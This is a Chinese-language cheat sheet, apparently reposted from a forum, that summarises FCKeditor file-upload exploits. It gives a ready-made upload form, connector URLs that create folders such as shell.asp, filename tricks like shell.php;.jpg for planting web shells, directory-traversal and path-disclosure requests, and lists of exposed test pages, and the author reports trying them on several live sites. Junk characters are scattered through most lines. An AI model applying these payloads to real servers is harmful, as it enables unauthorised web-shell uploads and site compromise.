Fckeditor漏洞利用总结
& r- \# F" E7 u# B4 H. F+ {# G) [查看编辑器版本. m; J3 h) X8 D/ g
FCKeditor/_whatsnew.html
+ U8 v2 Z1 _) e5 z/ f2 i/ ~, h- `—————————————————————————————————————————————————————————————3 v; C- H/ T$ H
! F4 R* l6 _9 t: T
2. Version 2.2 版本
' E! w+ m& ? T' t' U+ zApache+linux 环境下在上传文件后面加个.突破!测试通过。
+ Q" Q% i/ p/ Q5 H—————————————————————————————————————————————————————————————7 F* R Z% N# I3 V7 P- N) r
7 y8 ^( I* N- z& T \ B3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
4 Z6 b3 r' L% k. ?7 @<form id="frmUpload" enctype="multipart/form-data"
2 u8 m% z, w8 c; C) u5 E' ~action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
2 h' U) k- x# j+ l, c4 \<input type="file" name="NewFile" size="50"><br>5 t( x7 _5 Q7 n8 D4 P- a
<input id="btnUpload" type="submit" value="Upload">8 p E% y& U( `" K( U3 d
</form>$ i" f S$ Z" @8 e9 t' K
—————————————————————————————————————————————————————————————4 q3 [% {1 x8 T g" ?3 v. b7 h
' R8 y( }- t4 o4 @8 t( t" l7 s
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
, w8 t) D% y8 f 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
9 K' J+ ^" X0 \$ `6 W 4.1:提交shell.php+空格绕过& \: i; N3 j( C7 I2 U
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。7 K: I( b! f# K: a. ~& w& i
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。$ }/ l6 d1 A: c. v
—————————————————————————————————————————————————————————————
+ j. |! E4 W5 t1 B0 I% H7 i2 [+ }. D; `) H, ~ Z) C
5. 突破建立文件夹7 z, o4 F+ _1 L( g2 A
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
1 I8 T& S3 H( A. P/ `& [FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
7 ~3 b4 |. e8 q; D6 ^—————————————————————————————————————————————————————————————9 q! F8 O( K6 ]# ~+ b
! Q& d6 n( | o2 n% }4 {6. FCKeditor 中test 文件的上传地址) ^' z6 Z/ G: c! Q/ N. a2 b
FCKeditor/editor/filemanager/browser/default/connectors/test.html
" A7 u9 h/ H. @# jFCKeditor/editor/filemanager/upload/test.html7 `& k t& x) H0 O% P" ~
FCKeditor/editor/filemanager/connectors/test.html
0 S0 w8 n: ?. U+ a2 _0 w7 lFCKeditor/editor/filemanager/connectors/uploadtest.html, e' B2 y# L: Y1 D- e: }
—————————————————————————————————————————————————————————————
) n- L. T% t7 J% t
. N! \! A& ^* [7.常用上传地址' ~7 \1 P& t4 G
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
/ d$ }1 W- O) J* A1 UFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp, F0 h8 x7 D2 A: F; _
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)1 Z! G0 [ D$ G* E# J& ^9 b- Q
JSP 版:: X: q4 ]$ t; H9 I% P8 |
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
% y& ?4 {7 @1 u, W6 ~+ i3 v注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
; I/ P- [( S! n1 _* X! w件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
; ^1 G# w& @" x; d—————————————————————————————————————————————————————————————
* ?, m" V5 R; ~% d) f; m F [7 j& ]+ a! |
8.其他上传地址
' [4 U0 g' Q& WFCKeditor/_samples/default.html5 K" J: b; a @) w g/ j
FCKeditor/_samples/asp/sample01.asp: s- z; S" \" h% C) M
FCKeditor/_samples/asp/sample02.asp
! W/ G4 C% H3 H, qFCKeditor/_samples/asp/sample03.asp
& m2 {9 B1 J; V6 I3 UFCKeditor/_samples/asp/sample04.asp+ G' i: O/ h( r ~
一般很多站点都已删除_samples 目录,可以试试。
* z5 B7 V3 Q4 cFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
3 _2 b/ T, {2 e6 h# B0 x# d—————————————————————————————————————————————————————————————
# G; n- x4 T* v e9 R
: n: X/ M/ u# Y Q1 a9.列目录漏洞也可助找上传地址3 x8 b+ n0 G; x1 S$ \
Version 2.4.1 测试通过
* ^: }3 Q; s# l' g1 M7 ^修改CurrentFolder 参数使用 ../../来进入不同的目录; v4 ~& L: x, R A8 s& Q' m$ H: @
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp& {0 E; J1 d4 D
根据返回的XML 信息可以查看网站所有的目录。" C0 Q2 f$ M- H- \0 _& j1 Z2 d
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F4 A* Y3 L3 W. O9 L
也可以直接浏览盘符:3 s3 r5 F7 ?% J' \1 M [
JSP 版本:* s1 [) }; c9 n. G
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9 S, g+ M+ R, g5 f! k1 C—————————————————————————————————————————————————————————————
2 A4 G, \6 L8 Z; v
& o/ x- T* l/ m8 I% w10.爆路径漏洞
6 ]* u' @. n; C& hFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp: ]- q, F( l) W1 E) \8 V; l6 t5 \
—————————————————————————————————————————————————————————————
8 s5 N" Q4 a. |+ P* z* n& c8 ^& }1 ~/ u/ R/ N' B
11. FCKeditor 被动限制策略所导致的过滤不严问题
! Y/ [1 ]; c! M/ w 影响版本: FCKeditor x.x <= FCKeditor v2.4.3; c" u, Y( Y: ~; p3 n" ?0 R% S: g
脆弱描述:
8 A- r4 [/ m, g8 H& x t( _( pFCKeditor v2.4.3 中File 类别默认拒绝上传类型:0 Y. ?" \- \( I5 A. ?2 F1 A) v: L, ]2 n
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
- ]/ I' y3 V7 `7 Q9 t. f" NFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!( r. z8 k- ^. }& L1 d: P( O# ^# A
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。( }8 {6 {) t# I$ W0 p$ ]/ g
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
: i) I! B, ^5 _, ~5 j; o4 p—————————————————————————————————————————————————————————————
, T6 a; @4 q; W, l4 t" q' b( ~0 K
12.最古老的漏洞,Type文件没有限制!
+ j. W: j! T" P6 P3 n& g3 q 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 0 s. I/ A! u, t- m5 z
—————————————————————————————————————————————————————————————
/ p2 M. m' X" j) r8 \4 r
! Z( A" n& L2 a6 t1 H===============================================================================================================================================
, d6 F5 N4 t$ @, f0 s- I5 J' p# P% s& n" \4 |7 @" D/ k
FCK编辑器jsp版本漏洞:) {; P) y" W/ d9 x* T! z
3 ?" ^" ]. ?" N1 d9 [' Z$ i
: T% L# t" h J" {% N0 ~http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
( j1 ]( D8 R+ B+ J' R# y w2 V3 P4 \6 ^3 k2 J7 C
上传马所在目录; h; e" d0 `) ^8 X$ G% |& y/ w
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/. C1 N6 N3 ` V6 Z3 N3 T& @9 Y" s' l
上传shell的地址:! P: U w# [' `$ P3 R
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
1 U3 a' D& b% t% L5 a7 e; a跟版本有关系.并不是百分百成功. 测试成功几个站.
+ Q' L9 W7 e. F$ M8 F不能通杀.很遗憾.
0 _8 `. Y$ _( k7 p5 B6 ~http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector) B# B- P- ]7 @$ e
如果以上地址不行可以试试& B ~4 I3 S8 Q% k9 K& v
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector7 `& S$ k+ f! M: D/ x5 u) `
FCKeditor/_samples/! B; Q$ @9 S5 I) f5 O9 |
FCKeditor/_samples/default.html! e/ H3 ^! k6 U
FCKeditor/editor/fckeditor.htm
( |' N. u" V1 m' R$ g! M5 [FCKeditor/editor/fckdialog.html3 G- X6 S6 _. N% z% V
. i6 h$ B7 d: G+ [5 q( Y9 c
# ]; \" J& B' [1 N) F- Z, d6 G4 U5 {$ A: L, h M- o. R$ z
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg0 d9 m) r" ]) c; v% l9 @9 m+ u
|